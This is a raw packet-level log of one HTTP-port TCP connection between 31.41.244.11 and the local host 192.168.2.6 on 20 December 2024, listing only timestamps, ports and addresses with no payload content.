Dec 20, 2024 21:13:29.850577116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.850699902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.850770950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.850770950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.851802111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.851841927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.851991892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.852210999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.852891922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.852950096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.853017092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.853302002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.854089022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.854212046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.854271889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.854271889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.855278015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.855384111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.855493069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.856458902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.856542110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.856549978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.857552052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.857619047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.857760906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.857815981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.857815981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.858784914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.858946085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.858989954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.858990908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.860011101 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.860119104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.860363960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.860363960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.861157894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.861253023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.861277103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.861330032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.862334967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.862437963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.862550974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.862550974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.863502979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.863585949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.863697052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.863842964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.864712000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.864835024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.864869118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.864952087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.866008997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.866091967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.866153002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.866235018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.867067099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.867170095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.867177963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.867333889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.868280888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.868408918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.868505955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.868505955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.869410992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.869539976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.869589090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.869589090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.870619059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.870697021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.870904922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.871063948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.871757984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.871871948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.871879101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.871947050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.872936010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.873064041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.873119116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.873119116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.874135971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.874234915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.874280930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.874280930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.875325918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.875389099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.875416040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.875507116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.876463890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.876521111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.876578093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.876674891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.877697945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.877818108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.877842903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.877963066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.878976107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.879045010 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.879082918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.879188061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.880017042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.880083084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.880135059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.880182981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.881217003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.881299019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.881320953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.881398916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.882402897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.882464886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.882597923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.882755995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.883569956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.883635044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.883739948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.883855104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.884727001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.884870052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.884916067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.884916067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.885884047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.885992050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.886018038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.886177063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.887089968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.887187958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.887217045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.887348890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.888420105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.888513088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.888545036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.888648987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.889425993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.889488935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.889491081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.889731884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.890629053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.890767097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.890773058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.890945911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.891787052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.891921997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.892031908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.892031908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.892990112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.893193007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.893218040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.893372059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.894213915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.894300938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.894324064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.894818068 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.895349026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.895457983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.895479918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.895626068 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.896480083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.896539927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.896578074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.896967888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.897665024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.897794008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.897877932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.897877932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.898852110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.898947954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.899171114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.899171114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.900007963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.900067091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.900095940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.900446892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.901202917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.901346922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.901413918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.901413918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.902529955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.902550936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.902621031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.902621031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.903544903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.903637886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.903654099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.903757095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.904705048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.904762983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.035731077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.035825014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.035990953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.036211967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.036302090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.036401033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.036444902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.037547112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.037671089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.037695885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.037774086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.038655043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.038744926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.038754940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.038862944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.039820910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.039876938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.039911032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.039911032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.041001081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.041074991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.041109085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.041213989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.042180061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.042320013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.042324066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.042479038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.043380976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.043471098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.043484926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.043850899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.044549942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.044687033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.044704914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.044745922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.045942068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.046029091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.046030045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.046499968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.047264099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.047321081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.047327042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.047369003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.048055887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.048243046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.048290968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.049217939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.049329042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.049369097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.049369097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.050447941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.050530910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.050544977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.050688982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.051815033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.051944017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.051983118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.051983118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.052829981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.052908897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.052942991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.054102898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.054162979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.054251909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.054322004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.055167913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.055208921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.055267096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.056482077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.056735992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.056814909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.056814909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.057581902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.057708979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.057821035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.058845997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.058932066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.058948994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.059043884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.059993029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.060067892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.060086012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.060127974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.061139107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.061218977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.061238050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.061280012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.062165022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.062302113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.062309980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.062376976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.063332081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.063421011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.063561916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.063561916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.064570904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.064657927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.064709902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.064909935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.065753937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.065800905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.065844059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.066138983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.066884041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.066952944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.067008972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.067286968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.068046093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.068161964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.068202972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.068222046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.069245100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.069334984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.069396019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.069540977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.070415974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.070472002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.070504904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.070504904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.071592093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.071696043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.071752071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.071852922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.072788954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.072864056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.072890043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.073005915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.073925018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.074074030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.074076891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.075117111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.075217962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.075258017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.076267958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.076386929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.076394081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.076548100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.077445984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.077524900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.077620983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.077620983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.078764915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.078844070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.078879118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.078989983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.079854012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.079972029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.080024958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.080990076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.081111908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.081114054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.081152916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.082251072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.082335949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.082393885 CET	49887	80	192.168.2.6	31.41.244.11
